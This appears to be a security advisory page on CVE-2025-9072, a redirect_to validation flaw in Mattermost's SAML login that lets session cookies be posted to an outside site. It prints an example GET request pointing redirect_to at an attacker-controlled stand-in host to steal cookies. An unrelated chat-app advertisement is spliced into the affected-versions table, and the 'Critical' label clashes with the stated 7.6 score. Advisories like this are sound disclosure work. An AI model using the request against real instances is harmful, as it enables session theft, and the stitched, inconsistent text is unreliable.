Overview
This report covers the discovery and analysis of a serious vulnerability, CVE-2025-9072, affecting Mattermost versions 10.10.x <= 10.10.1, 10.5.x <= 10.5.9, 10.9.x <= 10.9.4. This flaw exposes systems to potential compromise and data leakage, highlighting the need for immediate patching. Vulnerability Summary
CVE ID: CVE-2025-9072
Severity: Critical (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage through cookie theft
Affected Products
Product | Affected Versions
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Mattermost | 10.10.x <= 10.10.1 Mattermost | 10.5.x <= 10.5.9 Mattermost | 10.9.x <= 10.9.4 How the Exploit Works
The vulnerability lies in the improper validation of the redirect_to parameter. An attacker can exploit this flaw by crafting a malicious link. Once a user authenticates with their SAML provider, the user’s cookies could be posted to an attacker-controlled URL, enabling possible system compromise and data leakage.
Conceptual Example Code
The following is a
conceptual
example of how the vulnerability might be exploited. This could be a sample HTTP request, where the redirect_to parameter is manipulated:
GET /login/sso/saml?redirect_to=https://attacker-controlled-url.com HTTP/1.1
Host: vulnerable-mattermost-instance.comIn this example, the user’s cookies would be posted to the attacker-controlled URL, potentially compromising the user’s session and any sensitive information contained within those cookies.
